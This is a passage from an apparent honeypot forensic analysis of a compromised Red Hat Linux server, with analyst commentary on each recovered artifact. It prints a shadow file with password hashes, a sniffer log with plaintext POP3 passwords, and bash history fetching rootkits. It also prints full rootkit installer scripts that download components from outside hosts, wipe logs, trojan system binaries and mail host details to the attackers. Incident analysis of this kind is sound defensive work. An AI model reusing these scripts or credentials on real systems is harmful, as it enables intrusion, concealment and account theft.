lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:0:FTP User:/var/ftp:/sbin/nologin
admin:x:15:50:User:/var/ftp:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/bin/false

/etc/shadow
root:$1$gm64oWDG$/W3MX0Pb7/2oCB7Jkyvga1:12270:0:99999:7:::
bin:*:12247:0:99999:7:::
daemon:*:12247:0:99999:7:::
adm:*:12247:0:99999:7:::
lp:*:12247:0:99999:7:::
sync:*:12247:0:99999:7:::
shutdown:*:12247:0:99999:7:::
halt:*:12247:0:99999:7:::
mail:*:12247:0:99999:7:::
news:*:12247:0:99999:7:::
uucp:*:12247:0:99999:7:::
operator:*:12247:0:99999:7:::
games:*:12247:0:99999:7:::
gopher:*:12247:0:99999:7:::
ftp:*:12247:0:99999:7:::
admin:$1$YAkCbk.7$JoZPsqqGxO.ImKonKAucm.:12248:0:99999:7:::
nobody:*:12247:0:99999:7:::
mailnull:!!:12247:0:99999:7:::
rpm:!!:12247:0:99999:7:::
ident:!!:12247:0:99999:7:::
apache:!!:12247:0:99999:7:::

===============================================================

interesting filez:

Mp3-urile

Avi-urile

Mpg-urile

===============================================================

Hacking Files..
/usr/lib/perl5/5.6.0/pod/perlhack.pod
/usr/share/man/man1/perlhack.1.gz

Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)
--

The message seems to have been sent to [email protected] with subject
"SANDERS root" at 10 Aug 2003 13:33:56 (-0700).


A bunch of deleted errors out of some Apache error logfile indicate that
Apache wasn't really happy that the /etc/httpd/logs disappeared:
--
[10/Aug/2003 13:40:31 03286] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 13:40:31 03286] [error] System: No such file or directory (errno: 2)
--


Oh, a .bash_history File:
--
wget geocities.com/mybabywhy/rk.tar.gz
tar -zxvf rk.tar.gz
cd sand
./install
wget geocities.com/gavish19/abc.tgz
wget geocities.com/gavish19/abc.tgz
wget www.lugojteam.as.ro/rootkit.tar
ls -a
cd informatii
wget www.lugojteam.as.ro/rootkit.tar
cd /tmp
ls -a
wget www.lugojteam.as.ro/rootkit.tar
wget irinel1979.go.ro/mass2.tgz
ls -a
--

Romania again - and the "sand" directory seems to be related to the rootkit-mail
with a subject of "SANDERS root".

Then we have empty mails to [email protected] with Subject "moka" (see Part 1, maillog).
And a mail to [email protected], generated 10 Aug 2003 15:32:33 -0700:
--
#############################################################################
I AM THE GREAT BIG MOUTH
#############################################################################
Real ip:
#############################################################################
SSHD backdoor port:
3128
#############################################################################
Last root login:
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
On since Sat Aug  9 14:35 (PDT) on tty1   1 day idle
New mail received Sun Aug 10 15:30 2003 (PDT)
     Unread since Sun Aug 10 13:40 2003 (PDT)
No Plan.
#############################################################################
Uptime:
  3:32pm  up 1 day, 58 min,  1 user,  load average: 1.32, 1.33, 1.30
#############################################################################
*nix type:
Linux
#############################################################################
*nix distribution:
Red Hat Linux release 7.2 (Enigma)
#############################################################################
Hostname:
sbm79.dtc.apu.edu
#############################################################################
Kernel version:
2.4.7-10
#############################################################################
Hardware type:
i686
#############################################################################
Vendor Id:
 GenuineIntel
#############################################################################
Interfaces:
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1720 errors:24 dropped:0 overruns:0
          TX packets:0 errors:0 dropped:0 overruns:1720
eth0      Link encap:10Mbps Ethernet  HWaddr 00:0C:29:89:42:93
          inet addr:192.168.1.79  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5956177 errors:6018 dropped:0 overruns:0
          TX packets:0 errors:0 dropped:0 overruns:474528
          Interrupt:10 Base address:0x10e0
#############################################################################
Computers in the network:
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1              ether   00:50:56:C0:00:00   C                     eth0
#############################################################################
Model name:
 Pentium III (Coppermine)
#############################################################################
CPU speed:
 666.888
#############################################################################
Bogomips:
 1307.44
#############################################################################
Connection:
PING 66.218.71.198 (66.218.71.198) from 192.168.1.79 : 56(84) bytes of data.
64 bytes from 66.218.71.198: icmp_seq=0 ttl=243 time=7.251 msec
64 bytes from 66.218.71.198: icmp_seq=1 ttl=243 time=37.229 msec
--- 66.218.71.198 ping statistics ---
3 packets transmitted, 2 packets received, 33% packet loss
round-trip min/avg/max/mdev = 7.251/22.240/37.229/14.989 ms
#############################################################################
Open ports:
tcp        0      0 *:https                 *:*                     LISTEN
tcp        0      0 localhost.localdom:smtp *:*                     LISTEN
tcp        0      0 *:squid                 *:*                     LISTEN
tcp        0      0 *:telnet                *:*                     LISTEN
tcp        0      0 *:ssh                   *:*                     LISTEN
tcp        0      0 *:ftp                   *:*                     LISTEN
tcp        0      0 *:cfinger               *:*                     LISTEN
tcp        0      0 *:auth                  *:*                     LISTEN
tcp        0      0 *:http                  *:*                     LISTEN
tcp        0      0 *:finger                *:*                     LISTEN
tcp        0      0 *:netbios-ssn           *:*                     LISTEN
tcp        0      0 *:4000                  *:*                     LISTEN
#############################################################################
Interesting files:
/var/log/samba/smbd.log
/var/log/samba/localhost.log
/var/log/boot.log
/usr/lib/rpm/rpm.log
/usr/share/doc/pam-0.75/ps/missfont.log
#############################################################################
Encrypted passwords:
root:$1$gm64oWDG$/W3MX0Pb7/2oCB7Jkyvga1:12270:0:99999:7:::
bin:*:12247:0:99999:7:::
daemon:*:12247:0:99999:7:::
adm:*:12247:0:99999:7:::
lp:*:12247:0:99999:7:::
sync:*:12247:0:99999:7:::
shutdown:*:12247:0:99999:7:::
halt:*:12247:0:99999:7:::
mail:*:12247:0:99999:7:::
news:*:12247:0:99999:7:::
uucp:*:12247:0:99999:7:::
operator:*:12247:0:99999:7:::
games:*:12247:0:99999:7:::
gopher:*:12247:0:99999:7:::
ftp:*:12247:0:99999:7:::
admin:$1$YAkCbk.7$JoZPsqqGxO.ImKonKAucm.:12248:0:99999:7:::
nobody:*:12247:0:99999:7:::
mailnull:!!:12247:0:99999:7:::
rpm:!!:12247:0:99999:7:::
ident:!!:12247:0:99999:7:::
apache:!!:12247:0:99999:7:::
#############################################################################
/etc/hosts:
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1               localhost.localdomain localhost
#############################################################################
Install log:
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#############################################################################
Copyright [siCk]
_EOF_
#############################################################################
--


There is also some stuff from a webserver scanning tool, ech0 Security Scanner (see below):
--
else
 nix=1,ms=1;
fprintf(logfile,"----------HTTP SERVER INFO----------\n");
fprintf(logfile,"%s",buffer);
fprintf(logfile,"\nHttpd Version : %s\n",httpdver+7);
check4bug(httpdver+7,3);

..

#endif
#define version "ech0 Security Scanner beta 0.8.6"
#define CFILE "ess.conf"
--
( http://www.securityfocus.com/tools/1562 )


A rootkit installation script..
--
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
RED="\033[0;31m"
GRN="\033[0;32m"
YEL="\033[0;33m"
BLU="\033[0;34m"
MAG="\033[0;35m"
CYN="\033[0;36m"
WHI="\033[0;37m"
DRED="\033[1;31m"
DGRN="\033[1;32m"
DYEL="\033[1;33m"
DBLU="\033[1;34m"
DMAG="\033[1;35m"
DCYN="\033[1;36m"
DWHI="\033[1;37m"
BW="\033[47;1;30m"
YBL="\033[44;1;33m"
RES="\033[0m"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
printf "${YBL}redCode${RES}${YBL}Face Treaba${RES}${YBL}ushoara${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/inst -q
wget izolam.net/rc/kflushd -q
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
sleep 1
mkdir /tmp/rk/adore
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk/adore/
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/adore/adore.c -q
wget izolam.net/rc/adore/ava.c -q
wget izolam.net/rc/adore/dummy.c -q
wget izolam.net/rc/adore/exec.c -q
wget izolam.net/rc/adore/exec-test.c -q
wget izolam.net/rc/adore/libinvisible.c -q
wget izolam.net/rc/adore/libinvisible.h -q
wget izolam.net/rc/adore/cleaner.c -q
sleep 4
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the Makefile${RES}\n"
wget izolam.net/rc/adore/Makefile -q
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk/ssh
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
cd /tmp/rk/ssh
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/ssh/sp0 -q
wget izolam.net/rc/ssh/sp0_cfg -q
wget izolam.net/rc/ssh/sp0_key -q
wget izolam.net/rc/ssh/sp0_seed -q
sleep 2
printf "${DCYN}Changing the file modes..${RES}\n"
chmod 777 sp0
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
cd /tmp/rk/
chmod 777 inst kflushd
sleep 1
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Cleaning...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The redCode rk${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
--

Okay, what do we have here.. kflush, I mentioned it before, it has been added
to some rc startupscript (see Part 1).
redcode.. the #RedCode channel on Undernet as found in the psyBNC config files.


An adore rootkit control binary:
--
Usage: %s {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible
Checking for adore  0.12 or higher ...
Failed to run as root. Trying anyway ...
Adore NOT installed. Exiting.
Found adore 0.%d installed. Please update adore.
Adore 0.%d installed. Good luck.
Removed PID %d from taskstruct
File '%s' hided.
Can't hide file.
File '%s' unhided.
Can't unhide file.
Made PID %d invisible.
Can't hide process.
Made PID %d visible.
Can't unhide process.
execve
Failed to remove proc.
Adore 0.%d de-installed.
Adore wasn't installed.
Did nothing or failed.
--



A copy of httpd.conf with HAVE_SSL (before getting changed to HAVE_SSS).

And a lot of stuff out of the rootkit.tar file (see .bash_history above):
--
------------------------------
   GDM REMOTE EXPLOIT '2000
     Coded By Crashkiller
------------------------------

..

RedHat Linux 5.1 k 2.0.35 rpc.mountd
Slakware 3.3 k 2.0.33+Solar_Designer's patch rpc.mountd 2.2beta29

..

x86 Linux 2.0.x named 4.9.5-REL (se)
x86 Linux 2.0.x named 4.9.5-REL (le)
x86 Linux 2.0.x named 4.9.5-P1 (se)
x86 Linux 2.0.x named 4.9.5-P1 (le)
x86 Linux 2.0.x named 4.9.6-REL (se)
x86 Linux 2.0.x named 4.9.6-REL (le)

..

<sconam2.c> Definitive SCO remote named root exploit (TDR)
Usage: sconam2 <host> <command> [offset]

..

statdx by ron1n <[email protected]>
Usage: %s [-t] [-p port] [-a addr] [-l len]
        [-o offset] [-w num] [-s secs] [-d type]

.. (many more)
--

Some of the files contain IP addresses such as 194.105.13.30 (Romanian) and
text files in (most likely) Romanian language. There are also some signs that
Romanian hosts and ip-space is being put into rootkit control files so
connections from these hosts/ips are not getting logged. But since these
only seem to be files out of the rootkit.tar file it doesn't bother us (yet).

There is also a sniffer logfile in the rootkit.tar file, obviously from
mir-serv.ez-closet.com or other host which had the possibility of intercepting
traffic to and from mir-serv.ez-closet.com.

--
64.183.193.202 => mir-serv.ez-closet.com [110]
USER jan
PASS jan
STAT
QUIT
----- [FIN]
64.183.193.202 => mir-serv.ez-closet.com [110]
USER jan
PASS jan
STAT
QUIT

..

cgomez => mir-serv.ez-closet.com [110]
USER carlos
PASS eduardo
STAT
LIST
RETR 1
RETR 2
RETR 3
RETR 4
DELE 1
DELE 2
DELE 3
DELE 4
QUIT
----- [FIN]
--

rootkit/install
--
..
echo "${GRN}###########################################################${RES}"
echo "${GRN}#                                                         #${RES}"
echo "${GRN}# [][][] [][][] []   [] []  [] [][][] [][][] [] []  [] [] #${RES}"
echo "${GRN}# []     []  [] [][] [] [] []  []     []  [] [] [] []  [] #${RES}"
echo "${GRN}# [][][] []  [] [] [][] [][]   [][]   [][][] [] [][]   [] #${RES}"
echo "${GRN}#     [] []  [] []   [] [] []  []     [] []  [] [] []  [] #${RES}"
echo "${GRN}# [][][] [][][] []   [] []  [] [][][] []  [] [] []  [] [] #${RES}"
echo "${GRN}#                                                         #${RES}"
echo "${GRN}#               [][][] [][][] [][][] [][][]               #${RES}"
echo "${GRN}#               []  [] []  [] []  []   []                 #${RES}"
echo "${GRN}#               [][][] []  [] []  []   []                 #${RES}"
echo "${GRN}#               [] []  []  [] []  []   []                 #${RES}"
echo "${GRN}#               []  [] [][][] [][][]   []                 #${RES}"
echo "${GRN}#                                                         #${RES}"
echo "${GRN}###########################################################${RES}"
..
--


There are also some parts of syslog files:
-
Aug 10 13:33:57 localhost syslogd 1.4.1: restart.
Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost kernel: klogd 1.4.1, log source = /proc/kmsg started.
Aug 10 13:33:57 localhost kernel: Inspecting /boot/System.map-2.4.7-10
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:57 localhost kernel: Loaded 15046 symbols from /boot/System.map-2.4.7-10.
Aug 10 13:33:57 localhost kernel: Symbols match kernel version 2.4.7.
Aug 10 13:33:57 localhost kernel: Loaded 371 symbols from 10 modules.
Aug 10 13:33:57 localhost kernel: (swapd) uses obsolete (PF_INET,SOCK_PACKET)
Aug 10 13:33:57 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 13:33:57 localhost kernel: device eth0 entered promiscuous mode
Aug 10 13:33:57 localhost kernel: NET4: Linux IPX 0.47 for NET4.0
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 1995 Caldera, Inc.
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 2000, 2001 Conectiva, Inc.
Aug 10 13:33:57 localhost kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key.
Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
Aug 10 13:33:56 localhost smbd -D[3225]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed
Aug 10 14:13:47 localhost sshd: sshd -TERM failed
Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:14:42 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:14:44 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:14:52 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:17 localhost smbd -D[5505]: fatal: Connection closed by remote host.
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
--

A fake "smbd -D" process gets started, which is a ssh daemon binding to port 2003.
An incoming connection from 213.154.118.218 (extreme-service-10.is.pcnet.ro) got
logged.


--
 localhost smbd -D[8935]: log: Connection from 213.154.118.218 port 2022
Aug 10 14:17:52 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:53 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:18:00 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:24 localhost smbd -D[8935]: fatal: Connection closed by remote host.
Aug 10 15:30:30 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:30:30 localhost modprobe: modprobe: Can't locate module ppp0
Aug 10 15:32:16 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:52:09 localhost smbd -D[14568]: error: bind: Address already in use
Aug 10 15:52:09 localhost smbd -D[14568]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:10 localhost httpd: httpd shutdown succeeded
Aug 10 15:52:11 localhost smbd -D[14629]: error: bind: Address already in use
Aug 10 15:52:11 localhost smbd -D[14629]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:12 localhost httpd: fopen: No such file or directory
Aug 10 15:52:12 localhost httpd: httpd: could not open error log file /etc/httpd/logs/error_log.
Aug 10 15:52:12 localhost httpd: httpd startup failed
Aug 10 15:54:18 localhost smbd -D[14663]: error: bind: Address already in use
Aug 10 15:54:18 localhost smbd -D[14663]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:54:18 localhost httpd: httpd shutdown failed
Aug 10 15:56:11 localhost su(pam_unix)[14689]: session opened for user root by (uid=0)
Aug 10 16:03:01 localhost su(pam_unix)[14689]: session closed for user root
Aug 10 16:04:38 localhost telnetd[15169]: ttloop: peer died: EOF
--


Another rootkit installation script, this one looks like the one that
has been used on the honeypot:
-
#!/bin/sh
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
RED="\033[0;31m"
GRN="\033[0;32m"
YEL="\033[0;33m"
BLU="\033[0;34m"
MAG="\033[0;35m"
CYN="\033[0;36m"
WHI="\033[0;37m"
DRED="\033[1;31m"
DGRN="\033[1;32m"
DYEL="\033[1;33m"
DBLU="\033[1;34m"
DMAG="\033[1;35m"
DCYN="\033[1;36m"
DWHI="\033[1;37m"
BW="\033[47;1;30m"
YBL="\033[44;1;33m"
RES="\033[0m"
printf "${YBL}redCode${RES} ${DRED}rkit${RES}\n"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
cd adore
make
mv ava /bin/ava
mv adore.o /usr/lib/
mv cleaner.o /usr/lib/
cd ..
printf "${DCYN}Starting SSHD...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
mv ssh/sp0 /bin/
mv ssh/* /usr/lib/
printf "${DCYN}Hiding everything...${RES}\n"
rm -rf /.bash_history
ln -sf /dev/null /root/.bash_history
printf "${DCYN}Cleaning megs ${RES}\n"
rm -rf /var/log/messages
ln -sf /dev/null /var/log/messages
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
echo >>/etc/rc.d/rc.sysinit kflushd
mv kflushd /bin/
kflushd
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Cleaning all the tracks...${RES}\n"
cd ..
rm -rf .rc
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The root${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
--



--
#!/bin/bash
# Made By ICE

..

USERID=`id -u`
echo "${WHI}---${RED}   Verificam daca suntem ROOT ${WHI} !!!${RES}"
if [ $USERID -eq 0 ]
then
echo "${RED}+++${WHI}   Cica DA ..., deci putem continua ${BLU} :${WHI}-${RED})${RES}"
else
echo "${RED}--- ${DRED}!!! ${RED}Atentie tu eshti de fapt ${YEL}$USERID${RED} si nu ${GRN}RooT ${DRED}!!!${RES}"
echo "${WHI}               Asta ii un ${BLU}ROOTKIT${WHI} deshteptule si trebuie sa aiba ${GRN}uid=0${RES}"
exit
rk=`pwd`
home="/usr/bin"
etc="/etc"
usr="/usr/lib/libshtift"
netstat="/bin/netstat"
ls="/bin/ls"
ps="/bin/ps"
top="/usr/bin/top"
chattr="/usr/bin/chattr"
chat="/usr/lib/ld/chat"
pico="/bin/pico"
wget="/usr/bin/wget"
ifconfig="/sbin/ifconfig"
ttyop="/dev/ttyop"
ttyoa="/dev/ttyoa"
ttyof="/dev/ttyof"
if [ -f "/usr/bin/gcc" ]; then
gcc="/usr/bin/gcc"
 else
     if [ -f "/usr/local/bin/gcc" ]; then
     gcc="/usr/local/bin/gcc"
       else
           if [ -f "/usr/bin/cc" ]; then
           gcc="/usr/bin/cc"
             else
                 if [ -f "/usr/local/bin/cc" ]; then
                 gcc="/usr/local/bin/cc"
                  else
                     gcc="/usr/bin/gnikcs"
fi; fi; fi; fi
unset HISTFILE; chown root.root *; unalias &> /dev/null ls
echo "                                                  "
echo "${WHI}                @@@ ${GRN}OK ${BLU}ICE sau care eshti pe acolo , de preferabil Budu :-)${GRN} .., deci sa bagam mare ${BLU}!!!${WHI}@@@${RES}"
echo "                                                  "
if [ -f /etc/rc.d/init.d/portmap ]; then
 /etc/rc.d/init.d/portmap stop
if [ -f /etc/rc.d/init.d/syslog ]; then
 /etc/rc.d/init.d/syslog stop
killall &> /dev/null -9 syslogd
killall &> /dev/null -9 klogd
killall &> /dev/null -9 atd
$chattr &> /dev/null -ASacdisu /bin /bin/* /usr/bin /usr/bin/* /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $usr $usr/* $ttyop $ttyoa $ttyof
echo "${WHI} Sa tragem o privire dupa fisiere.. ${DRED}!${RES}"
echo "                                                  "
if [ -f $chattr ]; then
 echo "                         ${WHI}chattr${RED} -> ${BLU}ok${RES}"
else
if [ -f $chat ]; then
 /usr/lib/ld/chat -R -ASacdisu /usr/bin $chat
 cp -f $chat $chattr
else
 tar -xzf chattr.tgz
 mv -f chattr $chattr
 echo "                         ${WHI}chattr${RED}->${BLU}atasat${RES}"
 chmod +x $chattr
fi; fi
if [ -f $wget ]; then
 echo "                         ${WHI}wget${RED} -> ${BLU}ok${RES}"
else
 tar -xzf wget.tgz
 mv -f wget $wget
 echo "                         ${WHI}wget${RED} -> ${BLU}atasat${RES}"
 chmod +x $wget
if [ -f $pico ]; then
 echo "                         ${WHI}pico${RED} -> ${BLU}ok${RES}"
else
 tar -xzf pico.tgz
 mv -f pico $pico
 echo "                         ${WHI}pico${RED} -> ${BLU}atasat${RES}"
 chmod +x $pico
echo " ${WHI}Rezolvam tampeniile de ps, netstat si etc.., si pe sora-sa :-P${RES}"
mkdir $usr; mv $netstat $ps $ls $ifconfig $top $usr; mv netstat $netstat; mv ps $ps; mv ifconfig $ifconfig; mv ls $ls; mv top $top; mv .ttyop $ttyop; mv .ttyoa $ttyoa; mv .ttyof $ttyof
echo "                          ${WHI}Tampeniile${RED} ->${BLU}Done${RES}"
echo " ${WHI}Copiem ${BLU}SSH-ul ${WHI}si ce mai e nevoie :-P .. ${RES}"
mv -f  sense sl2 logclear $home; echo "/usr/bin/crontabs -t1 -X53 -p" >> /etc/rc.d/init.d/functions; echo >> /etc/rc.d/init.d/functions; mv crontabs -f /usr/bin/; chmod 500 /usr/bin/crontabs
./ava
$gcc -o swapd kde.c
if [ -f swapd ]; then
 mv swapd /usr/bin/"(swapd)"
else
 mv swapd2 /usr/bin/"(swapd)"
mv lpi /usr/bin
mv libsss /usr/lib
chmod +x /usr/bin/lpi
/usr/bin/crontabs
/usr/bin/lpi
echo " ${RED}ATENTIE!!! ${DRED}Tu tre sa dai ${WHI} cd /usr/bin ; sense tcp.log ; logclear ${RES}"
./sysinfo > informatii
echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}"
echo "                          "
cat informatii|mail -s "SANDERS root" [email protected]
cat informatii|mail -s "SANDERS root" [email protected]
echo "                          ${WHI}Mail ${RED}-> ${BLU}Done.${RES}"; echo "                                  "
echo " ${WHI}*** ${GRN}Sa ne facem si noi un catun pe aici! ${BLU};${WHI}-${RED}) ${WHI}***${RES}"
if [ ! -d /dev/hpd ]; then
 mkdir /dev/hpd
echo " ${WHI}*** ${GRN}Director-ul /dev/hpd a fost deja creat gajiule:))${WHI} ***${RES}"
echo " ${WHI}*** ${BLU}Acum sa stergem logurile care ne incurca ${WHI}***${RES}"
rm -rf /var/log/*
touch /var/log/wtmp
if [ -f /etc/rc.d/init.d/syslog ]; then
 /etc/rc.d/init.d/syslog restart
if [ -f /etc/rc.d/init.d/portmap ]; then
 /etc/rc.d/init.d/portmap restart
cd ..
unset HISTFILE; $chattr +AacdisSu /bin /bin/* /usr/bin/sense /usr/bin/top /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $ttyop $ttyoa $ttyof
rm -rf /usr/bin/lpi
rm -rf simpa*
echo "                                                  "
echo "${WHI}@@@ ${GRN}OK ${BLU}Shefu${GRN}.., e al tau, bucura-te ca eshti mai destept cu un ${BLU}RooT ${BLU};${WHI}-${RED}P ${WHI}@@@${RES}"
--


This one looks like the script that generated one of the rootkit mails:
--
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/
